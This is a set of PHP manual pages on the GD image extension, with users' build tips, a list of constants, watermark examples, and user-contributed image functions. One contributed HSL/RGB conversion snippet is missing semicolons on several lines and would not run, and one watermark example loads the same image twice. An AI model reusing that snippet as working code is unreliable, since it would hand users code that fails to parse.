boly38 at gmail dot com 17-Mar-2011 02:25
To get GD bundled under Ubuntu, the way to recompile php5 with gd is described here (french) http://doc.ubuntu-fr.org/modules_php#php5-gd
lucaferr 21-Dec-2010 02:30
In Slackware 64bit (I tested 13.1) you need to make symlinks to libpng and libjpeg if you want to compile php with GD, even if you've already installed them, otherwise configure will give you a "libpng not found" error, even if you set --with-libdir=/usr/lib64 (it seems to have no effects at all). So, run these before configuring:
ln -s /usr/lib64/libjpeg.so /usr/lib/libjpeg.so
ln -s /usr/lib64/libpng.so /usr/lib/libpngp.so
elassoto at hotmail dot com 10-Sep-2010 10:54
If you have already compiled PHP and want to recompile '--with-gd', don't forget to run 'make clean' first!
Larry Kluger 13-Jan-2010 11:40
On 64bit centos, needed to create links from lib64 to lib. Php seems to insist on looking in lib, even with "with-jpeg-dir" config.

Eg

ln -s /usr/lib64/libjpeg.so.62.0.0  /usr/lib/libjpeg.so
ln -s /usr/lib64/libpng.so.3.10.0  /usr/lib/libpng.so

./configure  \
  --with-config-file-path=/etc \
  --prefix=/usr \
  --with-bz2 \
  --enable-zip \
  --enable-mbstring \
  --with-apxs2=/usr/sbin/apxs \
  --with-zlib-dir=/usr/include \
  --with-libxml-dir=/usr/lib64 \
  --with-mcrypt=/usr/lib64 \
  --with-mysql \
  --with-gd \
  --with-jpeg-dir=/usr \
  --with-png-dir=/usr \
  --enable-calendar
ben at bluehype dot com dot au 27-Jan-2009 01:07
If you have already compiled php without jpeg support and decide you want it , then before you compile again you might need to run "make clean" first.
msc at homofaber dot com 30-Oct-2008 04:45
It should be noted that it might be pretty easy to install gd without the need to recompile php, when using debian:

apt-get install php5-gd
gerard at charlesconsulting dot com 21-Aug-2008 06:36
On my system,I had to ensure I had not only libpng and libjpeg, but also the libpng-devel and libjpeg-devel packages installed.
kronn 17-Jul-2008 11:44
Everytime I try to install the gd-lib as a dynamic extension, I run into the same problem: It wont work.

I get the following error:

PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/pkg/lib/php/20040412/gd.so' - dlopen(/usr/pkg/lib/php/20040412/gd.so, 9): Symbol not found: __cg_jpeg_resync_to_restart\n  Referenced from: /System/Library/Frameworks/ApplicationServices. framework/Versions/A/Frameworks/ImageIO.framework/Versions/A/ImageIO\n  Expected in: /usr/pkg/lib/libjpeg.62.dylib\n in Unknown on line 0

I use pkgsrc for software package managment on my mac, as may be apparent from the paths.

The solution is, to edit the file /usr/pkg/sbin/envvars and remove or comment the DYLD_LIBRARY_PATH because it is causing the error...
mike at clove dot com 18-Apr-2008 06:40
jpeg [jpg] file processing doesn't work unless you build php with '--with-jpeg-dir=<path to jpeg library>'.

It still doesn't work unless <path to jpeg library> points to the directory holding the directory holding the library unless libjpeg.<whatever> is in either /usr/lib or /usr/local/lib. For instance, on a mac with libjpeg.a installed via mac ports, you need '/opt/local' rather than '/opt/local/lib'


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Image Configure Options
Name | Default | Changeable | Changelog
gd.jpeg_ignore_warning | "0" | PHP_INI_ALL | Available since PHP 5.1.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

gd.jpeg_ignore_warning bool

Ignore warnings created by jpeg2wbmp() and imagecreatefromjpeg()

See also the exif configuration directives.

Warning

Image functions are very memory intensive. Be sure to set memory_limit high enough.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines two resource types: an image identifier and a font identifier.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GD_VERSION (string)
The GD version PHP was compiled against. (Available as of PHP 5.2.4)
GD_MAJOR_VERSION (integer)
The GD major version PHP was compiled against. (Available as of PHP 5.2.4)
GD_MINOR_VERSION (integer)
The GD minor version PHP was compiled against. (Available as of PHP 5.2.4)
GD_RELEASE_VERSION (integer)
The GD release version PHP was compiled against. (Available as of PHP 5.2.4)
GD_EXTRA_VERSION (string)
The GD "extra" version (beta/rc..) PHP was compiled against. (Available as of PHP 5.2.4)
GD_BUNDLED (integer)
When the bundled version of GD is used this is 1 otherwise its set to 0.
IMG_GIF (integer)
Used as a return value by imagetypes()
IMG_JPG (integer)
Used as a return value by imagetypes()
IMG_JPEG (integer)
Used as a return value by imagetypes()

Note:

This constant has the same value as IMG_JPG

IMG_PNG (integer)
Used as a return value by imagetypes()
IMG_WBMP (integer)
Used as a return value by imagetypes()
IMG_XPM (integer)
Used as a return value by imagetypes()
IMG_COLOR_TILED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_STYLED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_BRUSHED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_STYLEDBRUSHED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_TRANSPARENT (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_ARC_ROUNDED (integer)
A style constant used by the imagefilledarc() function.

Note:

This constant has the same value as IMG_ARC_PIE

IMG_ARC_PIE (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_CHORD (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_NOFILL (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_EDGED (integer)
A style constant used by the imagefilledarc() function.
IMG_GD2_RAW (integer)
A type constant used by the imagegd2() function.
IMG_GD2_COMPRESSED (integer)
A type constant used by the imagegd2() function.
IMG_EFFECT_REPLACE (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_ALPHABLEND (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_NORMAL (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_OVERLAY (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_FILTER_NEGATE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GRAYSCALE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_BRIGHTNESS (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_CONTRAST (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_COLORIZE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EDGEDETECT (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GAUSSIAN_BLUR (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SELECTIVE_BLUR (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EMBOSS (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_MEAN_REMOVAL (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SMOOTH (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_PIXELATE (integer)
Special GD filter used by the imagefilter() function. (Available as of PHP 5.3.0)
IMAGETYPE_GIF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG2000 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PNG (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PSD (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_BMP (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_WBMP (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_XBM (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_II (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_MM (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_IFF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JB2 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPC (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JP2 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPX (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWC (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_ICO (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions. (Available as of PHP 5.3.0)
PNG_NO_FILTER (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_NONE (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_SUB (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_UP (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_AVG (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_PAETH (integer)
A special PNG filter, used by the imagepng() function.
PNG_ALL_FILTERS (integer)
A special PNG filter, used by the imagepng() function.
IMG_FLIP_VERTICAL (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_FLIP_HORIZONTAL (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_FLIP_BOTH (int)
Used together with imageflip(), available as of PHP 5.5.0.
IMG_BELL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BESSEL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BILINEAR_FIXED (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BICUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BICUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BLACKMAN (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BOX (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_BSPLINE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_CATMULLROM (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_GAUSSIAN (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_GENERALIZED_CUBIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HERMITE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HAMMING (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_HANNING (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_MITCHELL (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_POWER (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_QUADRATIC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_SINC (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_NEAREST_NEIGHBOUR (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_WEIGHTED4 (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.
IMG_TRIANGLE (int)
Used together with imagesetinterpolation(), available as of PHP 5.5.0.

User Contributed Notes

webmaster at alexventure dot com 09-Aug-2011 03:25
In case anyone is wondering what these filters are for, have a look at the W3C's specification:

http://www.w3.org/TR/PNG-Filters.html


Examples

Table of Contents

  • PNG creation with PHP
  • Adding watermarks to images using alpha channels
  • Using imagecopymerge to create a translucent watermark

User Contributed Notes

There are no user contributed notes for this page.


PNG creation with PHP

Example #1 PNG creation with PHP

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im     = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px     = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
This example would be called from a page with a tag like: <img src="button.php?text=text">. The above button.php script then takes this "text" string and overlays it on top of a base image which in this case is "images/button1.png" and outputs the resulting image. This is a very convenient way to avoid having to draw new button images every time you want to change the text of a button. With this method they are dynamically generated.

User Contributed Notes

There are no user contributed notes for this page.


Adding watermarks to images using alpha channels

Example #1 Adding watermarks to images using alpha channels

<?php
// Load the stamp and the photo to apply the watermark to
$stamp = imagecreatefrompng('stamp.png');
$im = imagecreatefromjpeg('photo.jpeg');

// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Copy the stamp image onto our photo using the margin offsets and the photo
// width to calculate positioning of the stamp.
imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

// Output and free memory
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
Adding watermarks to images using alpha channels
This example is a common way to add watermarks and stamps to photos and copyrighted images. Note that the presence of an alpha channel in the stamp image as the text is anti-aliased. This is preserved during copying.

User Contributed Notes

There are no user contributed notes for this page.


Using imagecopymerge to create a translucent watermark

  • « Adding watermarks to images using alpha channels
  • GD and Image Functions »
  • PHP Manual
  • Examples
  • Using imagecopymerge to create a translucent watermark

Using imagecopymerge() to create a translucent watermark

Example #1 Using imagecopymerge() to create a translucent watermark

<?php
// Load the stamp and the photo to apply the watermark to
$im = imagecreatefromjpeg('photo.jpeg');

// First we create our stamp image manually from GD
$stamp = imagecreatetruecolor(100, 70);
imagefilledrectangle($stamp, 0, 0, 99, 69, 0x0000FF);
imagefilledrectangle($stamp, 9, 9, 90, 60, 0xFFFFFF);
$im = imagecreatefromjpeg('photo.jpeg');
imagestring($stamp, 5, 20, 20, 'libGD', 0x0000FF);
imagestring($stamp, 3, 20, 40, '(c) 2007-9', 0x0000FF);

// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Merge the stamp onto our photo with an opacity of 50%
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);

// Save the image to file and free memory
imagepng($im, 'photo_stamp.png');
imagedestroy($im);

?>
Using imagecopymerge() to create a translucent watermark
This example uses imagecopymerge() to merge the stamp with our original image. Using this we can set the opacity of our stamp - in our example we've set it to 50% opacity. In practice this would be useful in copyright protection as semi-transparent watermarks are hard to remove yet allow viewers to see the image.

User Contributed Notes

There are no user contributed notes for this page.


GD and Image Functions

Table of Contents

  • gd_info — Retrieve information about the currently installed GD library
  • getimagesize — Get the size of an image
  • getimagesizefromstring — Get the size of an image from a string
  • image_type_to_extension — Get file extension for image type
  • image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • image2wbmp — Output image to browser or file
  • imageaffine — Return an image containing the affine transformed src image, using an optional clipping area
  • imageaffinematrixconcat — Concat two matrices (as in doing many ops in one go)
  • imageaffinematrixget — Return an image containing the affine tramsformed src image, using an optional clipping area
  • imagealphablending — Set the blending mode for an image
  • imageantialias — Should antialias functions be used or not
  • imagearc — Draws an arc
  • imagechar — Draw a character horizontally
  • imagecharup — Draw a character vertically
  • imagecolorallocate — Allocate a color for an image
  • imagecolorallocatealpha — Allocate a color for an image
  • imagecolorat — Get the index of the color of a pixel
  • imagecolorclosest — Get the index of the closest color to the specified color
  • imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha
  • imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness
  • imagecolordeallocate — De-allocate a color for an image
  • imagecolorexact — Get the index of the specified color
  • imagecolorexactalpha — Get the index of the specified color + alpha
  • imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version
  • imagecolorresolve — Get the index of the specified color or its closest possible alternative
  • imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative
  • imagecolorset — Set the color for the specified palette index
  • imagecolorsforindex — Get the colors for an index
  • imagecolorstotal — Find out the number of colors in an image's palette
  • imagecolortransparent — Define a color as transparent
  • imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset
  • imagecopy — Copy part of an image
  • imagecopymerge — Copy and merge part of an image
  • imagecopymergegray — Copy and merge part of an image with gray scale
  • imagecopyresampled — Copy and resize part of an image with resampling
  • imagecopyresized — Copy and resize part of an image
  • imagecreate — Create a new palette based image
  • imagecreatefromgd2 — Create a new image from GD2 file or URL
  • imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL
  • imagecreatefromgd — Create a new image from GD file or URL
  • imagecreatefromgif — Create a new image from file or URL
  • imagecreatefromjpeg — Create a new image from file or URL
  • imagecreatefrompng — Create a new image from file or URL
  • imagecreatefromstring — Create a new image from the image stream in the string
  • imagecreatefromwbmp — Create a new image from file or URL
  • imagecreatefromwebp — Create a new image from file or URL
  • imagecreatefromxbm — Create a new image from file or URL
  • imagecreatefromxpm — Create a new image from file or URL
  • imagecreatetruecolor — Create a new true color image
  • imagecrop — Crop an image using the given coordinates and size, x, y, width and height
  • imagecropauto — Crop an image automatically using one of the available modes
  • imagedashedline — Draw a dashed line
  • imagedestroy — Destroy an image
  • imageellipse — Draw an ellipse
  • imagefill — Flood fill
  • imagefilledarc — Draw a partial arc and fill it
  • imagefilledellipse — Draw a filled ellipse
  • imagefilledpolygon — Draw a filled polygon
  • imagefilledrectangle — Draw a filled rectangle
  • imagefilltoborder — Flood fill to specific color
  • imagefilter — Applies a filter to an image
  • imageflip — Flips an image using a given mode
  • imagefontheight — Get font height
  • imagefontwidth — Get font width
  • imageftbbox — Give the bounding box of a text using fonts via freetype2
  • imagefttext — Write text to the image using fonts using FreeType 2
  • imagegammacorrect — Apply a gamma correction to a GD image
  • imagegd2 — Output GD2 image to browser or file
  • imagegd — Output GD image to browser or file
  • imagegif — Output image to browser or file
  • imagegrabscreen — Captures the whole screen
  • imagegrabwindow — Captures a window
  • imageinterlace — Enable or disable interlace
  • imageistruecolor — Finds whether an image is a truecolor image
  • imagejpeg — Output image to browser or file
  • imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects
  • imageline — Draw a line
  • imageloadfont — Load a new font
  • imagepalettecopy — Copy the palette from one image to another
  • imagepalettetotruecolor — Converts a palette based image to true color
  • imagepng — Output a PNG image to either the browser or a file
  • imagepolygon — Draws a polygon
  • imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts
  • imagepsencodefont — Change the character encoding vector of a font
  • imagepsextendfont — Extend or condense a font
  • imagepsfreefont — Free memory used by a PostScript Type 1 font
  • imagepsloadfont — Load a PostScript Type 1 font from file
  • imagepsslantfont — Slant a font
  • imagepstext — Draws a text over an image using PostScript Type1 fonts
  • imagerectangle — Draw a rectangle
  • imagerotate — Rotate an image with a given angle
  • imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images
  • imagescale — Scale an image using the given new width and height
  • imagesetbrush — Set the brush image for line drawing
  • imagesetinterpolation — Set the interpolation method
  • imagesetpixel — Set a single pixel
  • imagesetstyle — Set the style for line drawing
  • imagesetthickness — Set the thickness for line drawing
  • imagesettile — Set the tile image for filling
  • imagestring — Draw a string horizontally
  • imagestringup — Draw a string vertically
  • imagesx — Get image width
  • imagesy — Get image height
  • imagetruecolortopalette — Convert a true color image to a palette image
  • imagettfbbox — Give the bounding box of a text using TrueType fonts
  • imagettftext — Write text to the image using TrueType fonts
  • imagetypes — Return the image types supported by this PHP build
  • imagewbmp — Output image to browser or file
  • imagewebp — Output an WebP image to browser or file
  • imagexbm — Output an XBM image to browser or file
  • iptcembed — Embeds binary IPTC data into a JPEG image
  • iptcparse — Parse a binary IPTC block into single tags.
  • jpeg2wbmp — Convert JPEG image file to WBMP image file
  • png2wbmp — Convert PNG image file to WBMP image file

User Contributed Notes

ingo at jache dot de 14-Oct-2011 12:16
I know this might look somewhat superfluous to others, but i once came across a situation where i needed a *strong* blur on an image without having ImageMagick installed. Executing the convolution-filter several times on the same image is awfully slow and still doesn't give a good blur.

The function below accepts a truecolor-image and a blur-factor between 0.0 and 1.0. Beware: It's still quite slow.

<?php

    function blurImage($srcimg,$blur)
    {
        $blur = $blur*$blur;
        $blur = max(0,min(1,$blur));

        $srcw = imagesx($srcimg);
        $srch = imagesy($srcimg);

        $dstimg = imagecreatetruecolor($srcw,$srch);

        $f1a = $blur;
        $f1b = 1.0 - $blur;

        $cr = 0; $cg = 0; $cb = 0;
        $nr = 0; $ng = 0; $nb = 0;

        $rgb = imagecolorat($srcimg,0,0);
        $or = ($rgb >> 16) & 0xFF;
        $og = ($rgb >> 8) & 0xFF;
        $ob = ($rgb) & 0xFF;

        //-------------------------------------------------
        // first line is a special case
        //-------------------------------------------------
        $x = $srcw;
        $y = $srch-1;
        while ($x--)
        {
            //horizontal blurren
            $rgb = imagecolorat($srcimg,$x,$y);
            $cr = ($rgb >> 16) & 0xFF;
            $cg = ($rgb >> 8) & 0xFF;
            $cb = ($rgb) & 0xFF;

            $nr = ($cr * $f1a) + ($or * $f1b);
            $ng = ($cg * $f1a) + ($og * $f1b);
            $nb = ($cb * $f1a) + ($ob * $f1b);

            $or = $nr;
            $og = $ng;
            $ob = $nb;

            imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
        }
        //-------------------------------------------------

        //-------------------------------------------------
        // now process the entire picture
        //-------------------------------------------------
        $y = $srch-1;
        while ($y--)
        {

            $rgb = imagecolorat($srcimg,0,$y);
            $or = ($rgb >> 16) & 0xFF;
            $og = ($rgb >> 8) & 0xFF;
            $ob = ($rgb) & 0xFF;

            $x = $srcw;
            while ($x--)
            {
                //horizontal
                $rgb = imagecolorat($srcimg,$x,$y);
                $cr = ($rgb >> 16) & 0xFF;
                $cg = ($rgb >> 8) & 0xFF;
                $cb = ($rgb) & 0xFF;

                $nr = ($cr * $f1a) + ($or * $f1b);
                $ng = ($cg * $f1a) + ($og * $f1b);
                $nb = ($cb * $f1a) + ($ob * $f1b);

                $or = $nr;
                $og = $ng;
                $ob = $nb;

                //vertical
                $rgb = imagecolorat($dstimg,$x,$y+1);
                $vr = ($rgb >> 16) & 0xFF;
                $vg = ($rgb >> 8) & 0xFF;
                $vb = ($rgb) & 0xFF;

                $nr = ($nr * $f1a) + ($vr * $f1b);
                $ng = ($ng * $f1a) + ($vg * $f1b);
                $nb = ($nb * $f1a) + ($vb * $f1b);

                $vr = $nr;
                $vg = $ng;
                $vb = $nb;

                imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
            }

        }
        //-------------------------------------------------
        return $dstimg;

    }

    $srcimg = imagecreatefromjpeg("test.jpg");
    $dstimg = blurImage($srcimg,0.2);

    header('Content-type: image/jpeg');
    echo( imagejpeg($dstimg) );
    exit();

?>
chuckstudios at gmail dot com 26-Nov-2008 06:18
I wrote a simple function to convert an image resource to PGM (portable graymap) in order to feed it to an OCR program. It works just like the rest of the image output functions, and will convert to grayscale for you:

<?php
    function imagepgm($image, $filename = null)
    {
        $pgm = "P5 ".imagesx($image)." ".imagesy($image)." 255\n";
        for($y = 0; $y < imagesy($image); $y++)
        {
            for($x = 0; $x < imagesx($image); $x++)
            {
                $colors = imagecolorsforindex($image, imagecolorat($image, $x, $y));
                $pgm .= chr(0.3 * $colors["red"] + 0.59 * $colors["green"] + 0.11 * $colors["blue"]);
            }
        }
        if($filename != null)
        {
            $fp = fopen($filename, "w");
            fwrite($fp, $pgm);
            fclose($fp);
        }
        else
        {
            return $pgm;
        }
    }
?>
dev at kingthief dot com 28-Mar-2008 05:20
I've developed a well-documented, fairly rock-solid API for creating on the fly, anti-aliased, rounded corner images, including full alpha transparency support for all you PNG lovers.

go here to download the package:
http://sourceforge.net/projects/roundedphp/

go here for a live demo:
http://dev.kingthief.com/demos/roundedphp/

Installation is similar to PEAR.

Enjoy!
ph_corp at yahoo dot fr 23-Dec-2007 12:19
<?php

/**
HSL/RGB conversion functions
very useful for a lot of applications
**/

function RBGtoHSL ( $R, $G, $B )
{

    $var_R = ( $R / 255 );
    $var_G = ( $G / 255 );
    $var_B = ( $B / 255 );

    $var_Min = min( $var_R, $var_G, $var_B )
    $var_Max = max( $var_R, $var_G, $var_B )
    $del_Max = $var_Max - $var_Min

    $L = ( $var_Max + $var_Min ) / 2;

    if ( $del_Max == 0 )
    {
       $H = 0
       $S = 0
    }
    else
    {
        if ( $L < 0.5 )
        {
            $S = $del_Max / ( $var_Max + $var_Min );
        }
        else
        {
            $S = $del_Max / ( 2 - $var_Max - $var_Min );
        }

        $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;

        if ( $var_R == $var_Max )
        {
            $H = $del_B - $del_G;
        }
        else if ( $var_G == $var_Max )
        {
            $H = ( 1 / 3 ) + $del_R - $del_B;
        }
        else if ( $var_B == $var_Max )
        {
            $H = ( 2 / 3 ) + $del_G - $del_R;
        }

        if ( $H < 0 )
        {
            $H += 1;
        }
        if ( $H > 1 )
        {
            $H -= 1
        }

    }

    return array( $H, $S, $L );

}

function HuetoRGB( $v1, $v2, $vH )
{
    if ( $vH < 0 )
    {
        $vH += 1;
    }
    if ( $vH > 1 )
    {
        $vH -= 1;
    }
    if ( ( 6 * $vH ) < 1 )
    {
        return ( $v1 + ( $v2 - $v1 ) * 6 * $vH );
    }
    if ( ( 2 * $vH ) < 1 )
    {
        return ( $v2 );
    }
    if ( ( 3 * $vH ) < 2 )
    {
        return ( $v1 + ( $v2 - $v1 ) * ( ( 2 / 3 ) - $vH ) * 6 );
    }
    return ( $v1 )
}

function HSLtoRGB ( $H, $S, $L )
{

    if ( $S == 0 )
    {
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
    }
    else
    {
        if ( $L < 0.5 )
        {
            $var_2 = $L * ( 1 + $S );
        }
        else
        {
            $var_2 = ( $L + $S ) - ( $S * $L );
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * HuetoRGB( $var_1, $var_2, $H + ( 1 / 3 ) );
        $G = 255 * HuetoRGB( $var_1, $var_2, $H );
        $B = 255 * HuetoRGB( $var_1, $var_2, $H - ( 1 / 3 ) );
    }

    return array( $R, $G, $B );

}

function distance ( $R1, $G1, $B1, $R2, $G2, $B2 )
{
    $result = sqrt ( ( $R1 - $R2 )*( $R1 - $R2 ) + ( $G1 - $G2 )*( $G1 - $G2 ) + ( $B1 - $B2 )*( $B1 - $B2 ) );
    return ( $result );
}

?>
shd at earthling dot net 28-Mar-2006 01:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
    if (!$im) return false;

    if ($fn === false) $fn = 'php://output';
    $f = fopen ($fn, "w");
    if (!$f) return false;

    //Image dimensions
    $biWidth = imagesx ($im);
    $biHeight = imagesy ($im);
    $biBPLine = $biWidth * 3;
    $biStride = ($biBPLine + 3) & ~3;
    $biSizeImage = $biStride * $biHeight;
    $bfOffBits = 54;
    $bfSize = $bfOffBits + $biSizeImage;

    //BITMAPFILEHEADER
    fwrite ($f, 'BM', 2);
    fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

    //BITMAPINFO (BITMAPINFOHEADER)
    fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

    $numpad = $biStride - $biBPLine;
    for ($y = $biHeight - 1; $y >= 0; --$y)
    {
        for ($x = 0; $x < $biWidth; ++$x)
        {
            $col = imagecolorat ($im, $x, $y);
            fwrite ($f, pack ('V', $col), 3);
        }
        for ($i = 0; $i < $numpad; ++$i)
            fwrite ($f, pack ('C', 0));
    }
    fclose ($f);
    return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com 13-Mar-2006 06:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

    // Representation hexadecimal
    $var = '#FFFFFF';

    function getRgbFromGd($color_hex) {

        return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

    }

    print_r(getRgbFromGd($var));

    // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
peter dot hulstaert at gmail dot com 06-Jan-2006 02:18
While I was searching for a good way to draw a graph, I stumbled on skumar2k15's script.

I have taken the liberty to improve multiple aspects of it.

1. The array can grow and shrink in size, the graph will adjust accordingly.
2. All the values in the array are recalculated so they won't get bigger than the height of the graph.
3. I inserted the possibility to keep a percentage off the height away from the edge.
4. You can adjust the size of the grid.
5. Everything will adjust when you change the height of width.

<?
header("Content-type: image/png");

// Define variables
$Values=array(50,90,30,155,50,40,320,50,40,86,240,128,650,540,320);
$imgWidth=500;
$imgHeight=200;
$grid=25;
$graphspacing=0.05;

//Creation of new array with hight adjusted values
while (list($key, $val) = each($Values))
    {if($val>$max){$max=$val;}}

for ($i=0; $i<count($Values); $i++){
$graphValues[$i] = $Values[$i] * (($imgHeight*(1-$graphspacing))/$max);
}
// Create image and define colors

$image=imagecreate($imgWidth, $imgHeight);
$colorWhite=imagecolorallocate($image, 255, 255, 255);
$colorGrey=imagecolorallocate($image, 192, 192, 192);
$colorBlue=imagecolorallocate($image, 0, 0, 255);

// Create border around image
